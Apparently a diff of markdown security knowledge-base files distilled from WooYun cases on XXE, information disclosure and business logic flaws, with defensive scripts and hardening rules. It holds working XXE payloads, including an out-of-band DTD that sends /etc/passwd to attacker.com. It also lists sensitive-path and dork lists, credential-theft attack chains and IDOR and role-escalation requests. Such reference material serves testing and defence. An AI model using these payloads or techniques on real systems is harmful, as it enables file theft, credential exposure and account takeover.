| SOAP/WSDL web services | ~35% | Axis2, XFire, CXF endpoints |
| Document upload (DOCX/XLSX) | ~20% | Office XML parsed server-side |
| XML API endpoints | ~20% | REST/SOAP accepting XML input |
| WeChat/messaging API callbacks | ~10% | Third-party integration XML parsing |
| File preview functionality | ~10% | Server-side document rendering |
| XML-RPC endpoints | ~5% | Legacy RPC interfaces |
## Vulnerability Types Observed
| Type | Count | Description |
|------|-------|-------------|
| Blind XXE (OOB) | ~40% | No direct response; exfiltrate via external DTD |
| Direct file read | ~35% | File contents returned in response |
| SSRF via XXE | ~15% | Internal port scanning, service access |
| DoS via entity expansion | ~10% | Billion laughs / recursive entities |
## Common Attack Payloads
### 1. Basic File Read (Direct XXE)
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
```
### 2. Blind XXE with External DTD (OOB)
**Malicious DTD hosted on attacker server:**
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM
'http://attacker.com/?data=%file;'>">
%eval;
%send;
```
**Injection payload:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;
]>
```
### 3. Directory Listing via Gopher/File Protocol
```xml
<!ENTITY % a SYSTEM "file:///">
<!ENTITY % b "<!ENTITY &#37; c SYSTEM
'gopher://attacker.com:80/%a;'>">
%b;
%c;
```
### 4. SSRF via XXE (Port Scanning)
```xml
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:22/">
]>
<root>&xxe;</root>
```
Response time indicates port state: slow = open, fast = closed.
### 5. DOCX-Based XXE
Decompress .docx, inject entity in `word/document.xml`:
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<!-- Reference &xxe; within document body -->
```
## Common Vulnerable Endpoints
```
/services/ServiceName?wsdl (Axis2/CXF SOAP)
/webservice/services/xxx (Java web services)
/live800/services/IVerification (Customer service platforms)
/opes/preview.do (Document preview)
/?wsdl (WSDL discovery)
/xmlrpc.php (XML-RPC)
```
## Bypass Techniques
- **Protocol alternatives**: When `file://` is blocked, try `gopher://`, `php://`, `data://`
- **Parameter entities**: Use `%entity;` instead of `&entity;` for blind XXE
- **Encoding tricks**: UTF-7, UTF-16 encoding to bypass XML filters
- **DOCX/XLSX containers**: Embed XXE in Office XML documents
- **Content-Type override**: Set `Content-Type: application/xml` on SOAP endpoints
## Quick Test Vectors
```
1. Add DOCTYPE with external entity to any XML input
2. Upload crafted DOCX with XXE in word/document.xml
3. Test WSDL endpoints with XML entity injection
4. Use Blind XXE with OOB DTD when no direct response
5. Test SSRF via entity pointing to internal services
6. Check for simplexml_load_string() in PHP (WeChat APIs)
```
## Affected Technologies
| Technology | Cases | Notes |
|------------|-------|-------|
| Java (Axis2, XFire, CXF) | ~50% | SOAP services most vulnerable |
| PHP (simplexml_load_string) | ~20% | WeChat SDK, CMS platforms |
| Java (document processing) | ~15% | DOCX/XLSX preview features |
| .NET (XML parsers) | ~10% | Default parser configurations |
| XML-RPC libraries | ~5% | Legacy RPC implementations |
## Root Causes
| Cause | Frequency |
|-------|-----------|
| Default XML parser allows external entities | Most common |
| No DTD processing restrictions | Very common |
| WeChat SDK sample code using unsafe parser | Common |
| Document preview parsing XML without restrictions | Common |
| Exposed WSDL/SOAP endpoints | Common |
## Remediation Verification
When verifying fixes, confirm:
- External entity processing is disabled in XML parser
- DTD processing is disabled or restricted
- `LIBXML_NOENT` flag is NOT used (PHP)
- `DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)` (Java)
@@ -1,975 +0,0 @@
# Information Disclosure Vulnerability Analysis Methodology
> Distilled from 7,337 cases | Data source: WooYun Vulnerability Database (2010-2016)
---
## 1. Core Statistics
### 1.1 Vulnerability Type Distribution
| Vulnerability Type | Count | Percentage |
|-------------------|-------|-----------|
| Sensitive Information Disclosure | 3,574 | 48.7% |
| Critical Sensitive Information Disclosure | 2,193 | 29.9% |
| Mass User Data Leakage | 656 | 8.9% |
| Internal Classified Information Leakage | 469 | 6.4% |
| Network Sensitive Information Leakage | 445 | 6.1% |
### 1.2 Disclosure Content Categories (Based on 50 Representative Cases)
```
Internal System Exposure ████████████████████████ 23 cases (46%)
Keys/Credentials Leakage ████████████████████ 20 cases (40%)
Database Exposure ████████████████████ 20 cases (40%)
User Information Leakage ███████████████████ 19 cases (38%)
Employee Information Leak ██████████ 10 cases (20%)
Source Code Leakage ██████████ 10 cases (20%)
Log File Leakage █████████ 9 cases (18%)
Configuration File Leak ████████ 8 cases (16%)
Interface/API Exposure ████ 4 cases (8%)
Financial Information Leak ███ 3 cases (6%)
```
---
## 2. Sensitive File Path Dictionary
### 2.1 Version Control Leakage (560 Cases)
#### Git Leakage Paths
```
/.git/config # Git configuration file, contains remote repo URL
/.git/HEAD # Current branch reference
/.git/index # Staging area index
/.git/logs/HEAD # Operation log
/.git/objects/ # Object storage directory
/.git/refs/ # References directory
/.git/COMMIT_EDITMSG # Last commit message
/.git/description # Repository description
/.git/info/exclude # Exclusion rules
/.git/packed-refs # Packed references
```
#### SVN Leakage Paths (393 High-Frequency Cases)
```
/.svn/entries # SVN 1.6 and earlier entry file
/.svn/wc.db # SVN 1.7+ SQLite database
/.svn/all-wcprops # Working copy properties
/.svn/pristine/ # Pristine file storage
/.svn/text-base/ # Text base files
/.svn/props/ # Property files
/.svn/tmp/ # Temporary directory
```
**Exploitation Tools**:
- `dvcs-ripper` - Automated .git/.svn download
- `GitHack` - Source code reconstruction from .git leakage
- `svn-extractor` - SVN information extraction
### 2.2 Backup File Leakage (565 Cases)
#### High-Frequency Backup Paths
```
# Archive backups (highest hit rate)
/wwwroot.rar # 530 cases matched
/www.zip
/web.rar
/backup.zip
/site.tar.gz
/db.sql.gz
/{domain}.zip # e.g., /example.com.zip
/{domain}.rar
# SQL backups
/backup.sql # 136 cases matched
/database.sql
/db.sql
/dump.sql
/{dbname}.sql
# Configuration backups
/config.php.bak # 101 cases matched
/config_global.php.bak
/uc_server/data/config.inc.php.bak
/web.config.bak
/.env.bak
```
### 2.3 Configuration File Leakage
#### PHP Configuration
```
/config.php
/config/config.php
/include/config.php
/data/config.php
/conf/config.inc.php
/application/config/database.php
```
#### Java/Spring Configuration
```
/WEB-INF/web.xml
/WEB-INF/applicationContext.xml
/WEB-INF/classes/application.properties
/WEB-INF/classes/jdbc.properties
/WEB-INF/classes/database.yml
/WEB-INF/classes/hibernate.cfg.xml
```
#### .NET Configuration
```
/web.config # 36 cases matched
/App_Data/
/bin/
/connectionStrings.config
```
#### General Configuration
```
/.env # Laravel/Node.js environment config
/.env.local
/.env.production
/config.yml
/config.json
/settings.py # Django configuration
/application.properties # Spring Boot
/appsettings.json # ASP.NET Core
```
### 2.4 Probe and Debug Files
```
/phpinfo.php # 47 cases matched
/info.php # 34 cases matched
/test.php # 38 cases matched
/debug.php
/probe.php
/i.php
/1.php
/t.php
```
### 2.5 Log File Leakage
```
/ctp.log # 23 cases matched (Seeyon OA)
/logs/ctp.log
/debug.log
/error.log
/access.log
/application.log
/runtime/logs/
/storage/logs/ # Laravel
/var/log/
/WEB-INF/logs/
```
### 2.6 Database Management Interfaces
```
/phpmyadmin/ # 46 cases matched
/phpMyAdmin/
/pma/
/myadmin/
/mysql/
/adminer.php
/adminer/
```
---
## 3. Detection Methodology
### 3.1 Detection Technique Distribution (Based on 7,337 Cases)
| Detection Method | Case Count | Effectiveness |
|-----------------|------------|---------------|
| Interface Enumeration | 1,063 | High |
| Backup File Guessing | 565 | High |
| Version Control Probing | 560 | High |
| Default Path Access | 514 | Medium |
| Error Message Analysis | 307 | Medium |
| Directory Scanning/Brute Force | 243 | Medium |
| Google Hacking | 226 | Medium |
| Response Header Analysis | 186 | Low |
### 3.2 Detection Workflow (Meta-Methodology)
```
Phase 1: Information Gathering
├── Response Header Analysis → Server/X-Powered-By/Via
├── Error Page Triggering → 404/500/Anomalous parameters
├── robots.txt Analysis → Hidden paths
└── crossdomain.xml → Cross-domain configuration
Phase 2: Passive Detection
├── Page Source Audit → Comments/Hidden fields/JS
├── Interface Enumeration → API docs/Swagger
└── Parameter Traversal → ID/Filename parameters
Phase 3: Active Detection
├── Version Control Probing → .git/.svn/.hg
├── Backup File Guessing → Domain name/Common names/Dates
├── Sensitive Path Scanning → Config/Logs/Probes
└── Directory Brute Force → Dictionaries/Recursive
```
### 3.3 Google Hacking Syntax
```
# Backup files
site:target.com filetype:sql
site:target.com filetype:bak
site:target.com filetype:zip inurl:backup
site:target.com filetype:rar
# Configuration files
site:target.com filetype:env
site:target.com filetype:config
site:target.com "db_password"
site:target.com "mysql_connect"
# Version control
site:target.com inurl:.git
site:target.com inurl:.svn
site:target.com intitle:"index of" .git
# Log files
site:target.com filetype:log
site:target.com inurl:debug.log
site:target.com inurl:error_log
# Probe files
site:target.com inurl:phpinfo
site:target.com intitle:phpinfo
```
---
## 4. Information Exploitation Chains (Attack Paths)
### 4.1 Source Code Leakage -> Full Compromise
```
Representative case: wooyun-2015-0123377 (Karaoke app server compromise)
Attack path:
[1] Discover full site source code archive download
|
[2] Analyze source code to extract database configuration
|
[3] Connect to database (root privileges)
|
[4] Database privilege escalation to obtain server access
|
[5] Lateral movement across multiple game servers
Key chain: Source code -> Configuration -> Database -> System
```
### 4.2 Version Control Leakage -> Code Audit
```
Representative case: wooyun-2013-038850 (SVN leakage on a portal site)
Attack path:
[1] Access /.svn/entries to confirm leakage
|
[2] Use tools to download complete source code
|
[3] Code audit discovers SQL injection
|
[4] Exploit injection to obtain admin privileges
|
[5] Admin panel file upload to obtain shell
Key chain: SVN -> Source code -> Vulnerability -> Privileges
```
### 4.3 Configuration File Leakage -> Database Takeover
```
Representative case: wooyun-2015-0120183 (Credit card app)
Attack path:
[1] Discover log4net.xml/MongoDB configuration leakage
|
[2] Extract database connection strings
|
[3] Connect to MongoDB to obtain user data
|
[4] Use user credentials to log into business systems
|
[5] Obtain sensitive financial data
Key chain: Configuration -> Credentials -> Database -> Business data
```
### 4.4 Log/Session Leakage -> Identity Hijacking
```
Representative case: wooyun-2015-0163955 (Session leakage in a corporate group)
Attack path:
[1] Access collaborative office system management interface
|
[2] Default credentials to enter admin panel
|
[3] View system logs to obtain user sessions
|
[4] Session hijacking to log in as any user
|
[5] Access financial ledger data worth hundreds of millions
Key chain: Admin panel -> Logs -> Session -> Business data
```
### 4.5 API Interface Leakage -> Bulk Data Retrieval
```
Representative case: wooyun-2015-0100173 (Campus TV network)
Attack path:
[1] Analyze page to discover API interface calls
|
[2] Interface returns usernames and MD5 passwords
|
[3] MD5 decryption to obtain plaintext passwords (123456)
|
[4] Enumerate interface to obtain unit codes
|
[5] Bulk control of 400 campus display screens
Key chain: Interface -> Credentials -> Decryption -> Bulk control
```
### 4.6 SMS Interface Leakage -> Account Takeover
```
Representative case: wooyun-2015-0128813 (Snack e-commerce SMS interface)
Attack path:
[1] Obtain SMS platform API credentials
|
[2] Call interface to view all SMS records
|
[3] Obtain user phone numbers and verification codes
|
[4] Reset any user's password
|
[5] Log into user accounts / obtain server shell
Key chain: API credentials -> SMS records -> Verification codes -> Account takeover
```
---
## 5. Common Leakage Scenario Patterns
### 5.1 Development Environment Remnants
```
Scenario characteristics:
- Test files not deleted (test.php, info.php)
- Debug mode not disabled (DEBUG=true)
- Development notes left behind (TODO, FIXME comments with sensitive info)
- Test accounts hardcoded (admin/123456)
Typical paths:
/test/
/dev/
/debug/
/phpinfo.php
/.env (DEBUG=true)
```
### 5.2 Deployment Misconfiguration
```
Scenario characteristics:
- Version control directories not cleaned up (.git/.svn)
- Backup files placed in web directory
- Configuration file permissions too permissive
- Default pages not modified
Typical paths:
/.git/
/.svn/
/backup/
/bak/
/old/
```
### 5.3 Improper Error Handling
```
Scenario characteristics:
- Detailed error messages output
- Stack traces exposed
- SQL errors displayed
- File paths leaked
Triggering methods:
- Anomalous parameters: ?id=1'
- Type errors: ?id[]=1
- Null injection: ?file=
- Path traversal: ?file=../
```
### 5.4 Interface Design Flaws
```
Scenario characteristics:
- Unauthorized interface access
- Excessive information returned
- Bulk data enumeration
- Debug interfaces exposed
Typical interfaces:
/api/user/list
/api/debug
/swagger-ui.html
/api-docs
/actuator/env (Spring Boot)
```
---
## 6. Defensive Detection Checklist
### 6.1 Sensitive File Detection Script
```bash
#!/bin/bash
# Quick information disclosure detection script
TARGET=$1
# Version control
curl -s -o /dev/null -w "%{http_code}" "$TARGET/.git/config"
curl -s -o /dev/null -w "%{http_code}" "$TARGET/.svn/entries"
curl -s -o /dev/null -w "%{http_code}" "$TARGET/.svn/wc.db"
# Backup files
for ext in zip rar tar.gz sql bak; do
curl -s -o /dev/null -w "%{http_code}" "$TARGET/backup.$ext"
curl -s -o /dev/null -w "%{http_code}" "$TARGET/www.$ext"
done
# Configuration files
curl -s -o /dev/null -w "%{http_code}" "$TARGET/.env"
curl -s -o /dev/null -w "%{http_code}" "$TARGET/web.config"
curl -s -o /dev/null -w "%{http_code}" "$TARGET/config.php.bak"
# Probe files
curl -s -o /dev/null -w "%{http_code}" "$TARGET/phpinfo.php"
curl -s -o /dev/null -w "%{http_code}" "$TARGET/info.php"
curl -s -o /dev/null -w "%{http_code}" "$TARGET/test.php"
```
### 6.2 Nginx Security Configuration
```nginx
# Block access to sensitive directories and files
location ~ /\.(git|svn|env|htaccess|htpasswd) {
deny all;
return 404;
}
location ~ \.(bak|sql|log|config|ini|yml)$ {
deny all;
return 404;
}
location ~* /(backup|bak|old|temp|test|dev)/ {
deny all;
return 404;
}
# Disable directory listing
autoindex off;
# Hide version information
server_tokens off;
```
### 6.3 Apache Security Configuration
```apache
# .htaccess
<FilesMatch "\.(git|svn|env|bak|sql|log|config)">
Order Allow,Deny
Deny from all
</FilesMatch>
<DirectoryMatch "/\.(git|svn)">
Order Allow,Deny
Deny from all
</DirectoryMatch>
Options -Indexes
ServerSignature Off
```
---
## 7. Key Insights (Root Cause Analysis)
### 7.1 Meta-Patterns from the Attacker's Perspective
```
Pattern 1: Entropy Reduction Principle
Developers tend to use the simplest naming conventions:
- Backup files: www.zip, backup.sql, {domain}.rar
- Test files: test.php, info.php, 1.php
- Configuration backups: config.php.bak, .env.bak
Pattern 2: Path Dependency
Legacy artifacts are more dangerous than new creations:
- .svn (older) is more common than .git in traditional enterprises
- Backup file naming follows temporal patterns: backup_20150101.sql
Pattern 3: Trust Transitivity
A single leakage point can collapse the entire trust chain:
Source code -> Configuration -> Database -> Internal network -> Full compromise
Pattern 4: Defaults Are Vulnerabilities
Default configurations, default paths, and default passwords
constitute the largest attack surface
```
### 7.2 Defense Priority Matrix
```
High Impact
|
┌──────────┼──────────┐
│ Version │ Database │ <- Priority 1: Fix immediately
│ Control │ Backup │
│ Leakage │ Leakage │
├──────────┼──────────┤
│ Config │ Log File │ <- Priority 2: Urgent remediation
│ File │ Leakage │
│ Leakage │ │
├──────────┼──────────┤
│ Probe │ Error │ <- Priority 3: Periodic checks
│ File │ Message │
│ Remnants │ Leakage │
└──────────┼──────────┘
|
Low Impact
Low Prob ──┼── High Prob
```
### 7.3 Automated Detection Recommendations
```
1. CI/CD Integrated Detection
- Scan for sensitive files before deployment
- Block .git/.svn directory deployment
- Configuration file encryption checks
2. Periodic Security Scanning
- Backup file enumeration
- Version control probing
- Sensitive path dictionary scanning
3. Monitoring and Alerting
- Anomalous file access monitoring
- Sensitive path access alerts
- Large file download detection
```
---
## 8. Reference Case Index
| Case ID | Title | Type | Exploitation Chain |
|---------|-------|------|-------------------|
| wooyun-2015-0123377 | Karaoke app server compromise | Source code leak | Source -> Config -> DB -> Privilege escalation |
| wooyun-2013-038850 | Portal site SVN leakage | Version control | SVN -> Source -> SQL injection |
| wooyun-2015-0120183 | Credit card app | Config leak | Config -> MongoDB -> Data |
| wooyun-2015-0163955 | Corporate group session leak | Log leak | Admin panel -> Logs -> Session hijacking |
| wooyun-2015-0128813 | Snack e-commerce SMS | API leak | API -> SMS -> Account takeover |
| wooyun-2015-0125565 | Fintech company Git leak | Git leak | .git -> Database passwords |
| wooyun-2014-049693 | Fashion portal SVN | SVN leak | .svn -> Directory traversal |
| wooyun-2014-085529 | E-commerce data breach | Unauthorized DB | MongoDB -> FTP -> Order data |
| wooyun-2015-0150430 | Airline information leak | Credential leak | Email -> Domain password -> VPN |
| wooyun-2013-039470 | Computer manufacturer backup | Backup leak | data.zip -> Database configuration |
---
## 9. Third-Party Service Leakage Special Topic
### 9.1 SMS Interface Leakage Patterns
#### Meta-Analysis Methodology
```
Core logic chain of third-party service leakage:
[1] Missing Credential Management
├─ Hardcoded in source code
├─ Stored in plaintext configuration files
├─ Complete requests logged in log files
└─ Credentials returned in error messages
|
[2] Interface Permission Design Flaws
├─ No IP allowlist restrictions
├─ No access rate limiting
├─ No request signature verification
└─ Cross-origin calls permitted
|
[3] Expanded Data Exposure Surface
├─ Historical send records queryable
├─ Full phone numbers returned
├─ Verification code content in plaintext
└─ Business-sensitive information leaked
|
[4] Business Logic Vulnerability Exploitation
├─ Verification code brute force or replay
├─ User identity spoofing
├─ Account takeover attacks
└─ Mass registration abuse
Key insight:
- Third-party APIs are essentially "outsourced trust," but organizations
often fail to apply secondary protection to that trust
- The leakage point is not in the organization's own system, but in
the integration layer with the third-party service
- Attackers bypass the organization's defenses by directly using
legitimate third-party credentials
```
#### Typical Attack Path (wooyun-2015-0128813)
```
Attack path breakdown:
Phase 1: Credential Acquisition
├─ Method A: Source code audit
│ └─ grep -r "sms.*password\|api.*key" .
├─ Method B: Configuration file leakage
│ └─ /config/sms.yaml, .env.production
├─ Method C: Hardcoded in frontend JS
│ └─ app.js: var SMS_API_KEY = "xxx"
└─ Method D: Log file leakage
└─ /logs/sms.log (contains full request parameters)
Phase 2: Direct Interface Invocation
├─ Unauthenticated access to SMS management panel
│ └─ https://example.com/[REDACTED] (admin/admin123)
├─ Direct API calls
│ └─ POST /api/sendSms?user=xxx&pass=yyy
└─ Exploiting weak default passwords
└─ SMS platform panel: admin/123456, admin/admin
Phase 3: Data Extraction
├─ Query send records
│ └─ /api/querySent?startDate=2025-01-01
├─ Filter verification code messages
│ └─ keyword: "verification", "code", "verify"
└─ Bulk export
└─ Download CSV/Excel with phone numbers + verification codes
Phase 4: Business Penetration
├─ Password reset flow
│ └─ Use intercepted verification codes to reset any user's password
├─ Login bypass
│ └─ Directly authenticate via verification code
├─ User hijacking
│ └─ Bulk control of high-value accounts
└─ Further penetration
└─ Obtain server shell access
Impact expansion:
Single SMS interface leak -> All user accounts at risk -> Core business data exposed
```
#### SMS Interface Security Detection Checklist
```bash
#!/bin/bash
# Third-party SMS interface security detection script
echo "[+] SMS interface leakage detection starting..."
# 1. Hardcoded credentials in source code
echo "[1] Detecting hardcoded credentials in source code..."
grep -r -i "sms.*password\|smspwd\|sms_key" \
--include="*.php" --include="*.java" --include="*.js" \
--include="*.py" --include="*.go" . 2>/dev/null
# 2. Configuration file detection
echo "[2] Detecting SMS configuration in config files..."
for file in \
".env" ".env.production" "config.php" "application.yml" \
"settings.py" "web.config" "sms.conf"
do
if [ -f "$file" ]; then
grep -i "sms\|message" "$file" 2>/dev/null
fi
done
# 3. Log file detection
echo "[3] Detecting sensitive information in log files..."
find . -name "*.log" -type f 2>/dev/null | while read log; do
grep -i "password\|token\|key\|secret" "$log" | head -n 5
done
# 4. Frontend JavaScript detection
echo "[4] Detecting API keys in frontend JS..."
find . -name "*.js" -type f 2>/dev/null | while read js; do
grep -i "api.*key\|sms.*token\|smspwd" "$js"
done
# 5. Git history detection
echo "[5] Detecting sensitive information in Git history..."
if [ -d ".git" ]; then
git log -p --all -S "smspwd" -- "*.php" "*.java" "*.js" 2>/dev/null | head -n 20
fi
# 6. Known SMS platform detection
echo "[6] Detecting known SMS platform interfaces..."
SMS_PLATFORMS=(
"aliyun.com"
"qcloud.com"
"yunpian.com"
"sms.cn"
"luosimao.com"
"submail.cn"
"mob.com"
)
for platform in "${SMS_PLATFORMS[@]}"; do
grep -r "$platform" --include="*.php" --include="*.js" . 2>/dev/null
done
echo "[+] Detection complete"
```
#### SMS Interface Security Hardening Plan
```yaml
# 1. Credential Management Strategy
credential_management:
storage:
- Use a key management service (KMS) for credential storage
- Environment variable injection (do not write to config files)
- Encrypted configuration file storage
- Separate development and production credentials
rotation:
- Regularly rotate API keys (recommended every 3-6 months)
- Immediately revoke old keys upon leakage
- Use versioned credential management
access_control:
- Implement least privilege principle
- Prohibit public code repositories from containing credentials
- Frontend code must never contain server-side credentials
# 2. API Call Security
api_security:
network_layer:
- Configure IP allowlists (only allow server IPs to call)
- Use VPC internal network calls
- Prohibit direct public internet access
application_layer:
- Implement request signature verification (HMAC-SHA256)
- Add timestamps to prevent replay attacks
- Limit send frequency per phone number
- Implement daily send volume limits
monitoring:
- Anomalous send volume alerts
- Failed request monitoring
- Cost anomaly alerts
- Suspicious content detection
# 3. Data Protection
data_protection:
sent_messages:
- Do not log full verification codes in frontend/logs
- Limit verification code validity (5-10 minutes)
- Invalidate verification codes immediately after single use
- Do not return plaintext verification codes in responses
phone_numbers:
- Mask phone number display (138****1234)
- Do not log full phone numbers in logs
- Prohibit bulk phone number query interfaces
- Implement data access auditing
# 4. Business Logic Security
business_logic:
verification_flow:
- Verification code length 6+ digits
- Mixed alphanumeric (prevent simple brute force)
- Limit verification code attempt count (3-5 times)
- Cooldown period for same phone number (60 seconds)
anti_abuse:
- CAPTCHA / slider verification
- Device fingerprinting
- Behavioral analysis detection
- Dual IP + device rate limiting
# 5. Incident Response
incident_response:
breach_detection:
- Monitor dark web for leaked information
- Implement anomalous traffic detection
- User complaint feedback mechanism
response_actions:
- Immediately revoke leaked credentials
- Activate backup API keys
- Force password reset on affected accounts
- Notify affected users
post_incident:
- Root cause analysis
- Improve security measures
- Security awareness training
- Regular security audits
```
#### Third-Party Service Leakage Detection Checklist
```markdown
## Self-Assessment Checklist
### Code Audit
- [ ] Search for hardcoded API keys/passwords
- [ ] Check configuration files for plaintext credentials
- [ ] Review frontend code for sensitive information
- [ ] Check Git history for leakage records
- [ ] Review logs for sensitive data
### Permission Configuration
- [ ] Verify third-party service IP allowlists
- [ ] Check API call permission restrictions
- [ ] Confirm request signing is enabled
- [ ] Verify access rate limiting configuration
- [ ] Check cross-origin configuration (CORS)
### Monitoring and Alerting
- [ ] Configure anomalous call alerts
- [ ] Enable cost anomaly monitoring
- [ ] Implement failure rate monitoring
- [ ] Configure sensitive data access alerts
- [ ] Establish incident response procedures
### Data Protection
- [ ] Verification code validity time limits
- [ ] Phone number masking display
- [ ] Sensitive information filtering in logs
- [ ] Prohibit bulk export functionality
- [ ] Implement encrypted data storage
### Business Logic
- [ ] Verification code complexity requirements
- [ ] Verification code attempt count limits
- [ ] Anti-replay attack mechanism
- [ ] Slider/CAPTCHA verification
- [ ] Device fingerprinting
```
### 9.2 Other Third-Party Service Risks
```
High-risk third-party service types:
1. Cloud Storage Services
├─ OSS/S3 credential leakage -> File read/upload
├─ Publicly readable buckets -> Data leakage
└─ Permission misconfiguration -> Unauthorized access
2. Payment Interfaces
├─ Merchant key leakage -> Transaction forgery
├─ Callback signature verification flaws -> Order tampering
└─ Payment log leakage -> Financial information exposure
3. Email Services
├─ SMTP credential leakage -> Email spoofing
├─ Email content logging -> Sensitive information leakage
└─ Send history queries -> Business data leakage
4. CDN Services
├─ Origin server IP exposure -> Bypass CDN attacks
├─ Cache misconfiguration -> Sensitive file leakage
└─ Origin pull misconfiguration -> Internal network traversal
5. Data Analytics/Statistics
├─ Analytics code leakage -> User behavior tracking
├─ Unauthorized data interfaces -> Competitor data acquisition
└─ Heatmap tool misconfiguration -> Page structure exposure
Key principles:
- Treat all third-party credentials as highest classification
- Assume third-party services can be compromised
- Implement least privilege and regular rotation
- Monitor third-party services for anomalous calls
```
### 9.3 Root Cause Analysis: Fragility of Third-Party Trust Chains
```
Fundamental analysis:
Third-party service integration is essentially "outsourced trust,"
but organizations often:
1. Overestimate the security of the third-party platform
2. Underestimate the blast radius of credential leakage
3. Neglect code auditing at the integration layer
4. Lack monitoring of third-party API calls
Systemic risk:
┌─────────────────────────────────────┐
│ Enterprise System │
│ ├─ Code Security (typically strong)│
│ ├─ Network Defense (typically strong)│
│ └─ Access Control (typically strong)│
└───────────┬─────────────────────────┘
│ Integration Layer (weakest link)
|
┌─────────────────────────────────────┐
│ Third-Party Service │
│ ├─ API Credentials (may leak) │
│ ├─ Access Control (externally managed)│
│ └─ Data Storage (external) │
└─────────────────────────────────────┘
Attack path:
Attackers do not directly attack the enterprise system; instead:
1. Obtain third-party API credentials
2. Directly call the third-party service
3. Bypass all enterprise defense measures
4. Obtain business-sensitive data
Defensive mindset shift:
- From "protect the perimeter" to "protect the credentials"
- From "passive defense" to "active monitoring"
- From "trust the third party" to "zero-trust verification"
- From "periodic audits" to "continuous monitoring"
Quantitative indicators:
- Third-party credential leakage impact: 100% of user data
- Attack cost: Low (only one configuration file leak needed)
- Detection difficulty: High (attack traffic from legitimate IPs)
- Response time: Often days or months before discovery
```
---
> This knowledge base is continuously updated, derived from real vulnerability cases
> For security research and defensive reference use only
@@ -1,721 +0,0 @@
# Business Logic Flaw Analysis Methodology
> Distilled from 8,292 cases | Data source: WooYun Vulnerability Database (2010-2016)
---
## 1. Core Insight: The Nature of Business Logic Flaws
### 1.1 Root Cause Analysis Matrix
| Level | Defect Type | Typical Manifestation | Detection Difficulty |
|-------|------------|----------------------|---------------------|
| **Business layer** | Process design flaws | Steps can be skipped, states can be forged | High |
| **Interface layer** | Excessive parameter trust | Client-side validation, no server-side verification | Medium |
| **Authentication layer** | Credential management flaws | Token leakage, session fixation | Medium |
| **Authorization layer** | Blurred permission boundaries | Horizontal/Vertical Privilege Escalation | High |
### 1.2 Attack Surface Mapping
```
User Input -> Frontend Validation (bypassable) -> Network Transport (interceptable) -> Backend Processing (core)
| | |
Client-side parameter tampering Man-in-the-middle/replay Server-side logic flaws
```
---
## 2. Password Reset Vulnerabilities [22 Cases]
### 2.1 Vulnerability Pattern Classification
#### Pattern A: Verification Code Leaked in Response
**Cases: Parking platform APP, community platform, telecom webmail service**
```
Attack Flow:
1. Request verification code -> Intercept response
2. Response contains verification code in plaintext
3. Complete verification without receiving the SMS
```
**Detection Method:**
```http
POST /sendSmsCode HTTP/1.1
phone=13888888888
# Check response:
{"code":0,"data":{"verifyCode":"123456"}} <- Leak point
```
#### Pattern B: Verification Code Not Bound to User
**Case: Accounting APP (affecting 80 million users)**
```
Vulnerability Logic:
1. Register with your own phone number, receive verification code A
2. Initiate password reset for target account
3. Use verification code A to complete verification <- Not bound to user identity
```
**Root Cause:** Verification code only checks validity, not user ownership
#### Pattern C: Reset Steps Can Be Skipped
**Cases: Outdoor goods store, medical Q&A site**
```
Normal Flow: Enter account -> Identity verification -> Reset password -> Complete
Attack Flow: Enter account -> [Skip verification] -> Directly access reset page
Technical Implementation:
1. Analyze frontend JS logic, find URLs for each step
2. Directly access Step 3 URL
3. Frontend hidden DOM element replacement method:
- F12 to find the "Reset Password" step HTML
- Overlay it on the current "Identity Verification" step DOM
```
#### Pattern D: Controllable Credential Parameters
**Cases: Digital magazine platform, electric scooter manufacturer**
```http
POST /resetPassword HTTP/1.1
username=victim&newPassword=hacked123
# Vulnerability: username parameter comes from client, can be tampered
```
**Testing Checklist:**
- [ ] Does the reset request contain a user identifier
- [ ] Can the identifier be modified
- [ ] Does modification affect other users
### 2.2 General Testing Framework
```mermaid
graph TD
A[Initiate password reset] --> B{Capture and analyze response}
B -->|Contains verification code| C[Verification code leak vulnerability]
B -->|Does not contain| D{Analyze verification flow}
D -->|Multi-step| E[Attempt to skip intermediate steps]
D -->|Single-step| F{Check parameter binding}
F -->|User ID controllable| G[Parameter tampering test]
F -->|Bound to session| H[Session fixation test]
```
---
## 3. Authorization Bypass Vulnerabilities [22 Cases]
### 3.1 Horizontal Privilege Escalation (IDOR)
#### Typical Scenario: ID Enumeration
**Cases: Car rental service, adult products store (200K+ users)**
```http
# Normal request
GET /address/edit/?addid=100001 -> Own address
# Privilege escalation request
GET /address/edit/?addid=100002 -> Another user's address
GET /address/edit/?addid=1 -> Enumerate all users
```
**Automated Detection Script Approach:**
```python
def idor_test(base_url, param_name, id_range):
for id in range(id_range[0], id_range[1]):
resp = requests.get(f"{base_url}?{param_name}={id}")
if "sensitive_data_indicator" in resp.text:
print(f"[!] IDOR Found: {param_name}={id}")
```
#### Typical Scenario: Resource Replacement Attack
**Case: Car rental service invoice unauthorized deletion**
```
Vulnerability Logic:
1. Account A creates invoice, ID=1001
2. Account B modifies own invoice, replaces ID with 1001
3. System executes UPDATE operation, Account A's invoice is overwritten/deleted
Attack Vector: Modification operation lacks ownership verification
```
### 3.2 Vertical Privilege Escalation
#### Typical Scenario: Role Escalation
**Case: Provincial news platform system**
```http
# Regular user modifying profile
POST /updateUser HTTP/1.1
user.aid=3&user.name=test # aid=3 is regular user
# Privilege escalation
POST /updateUser HTTP/1.1
user.aid=1&user.name=test # aid=1 is super admin
```
**Detection Key Points:**
1. Enumerate role IDs: Typically 1=super admin, 2=admin, 3+=regular user
2. Test role switching: Modify role identifier in request
3. Verify permission changes: Refresh and check menu/functionality changes
### 3.3 Authorization Bypass Testing Matrix
| Operation Type | Testing Method | Risk Level |
|---------------|---------------|-----------|
| View | Replace resource ID | Medium |
| Modify | Replace resource ID + data | High |
| Delete | Replace resource ID | Critical |
| Create | Replace owner user ID | High |
---
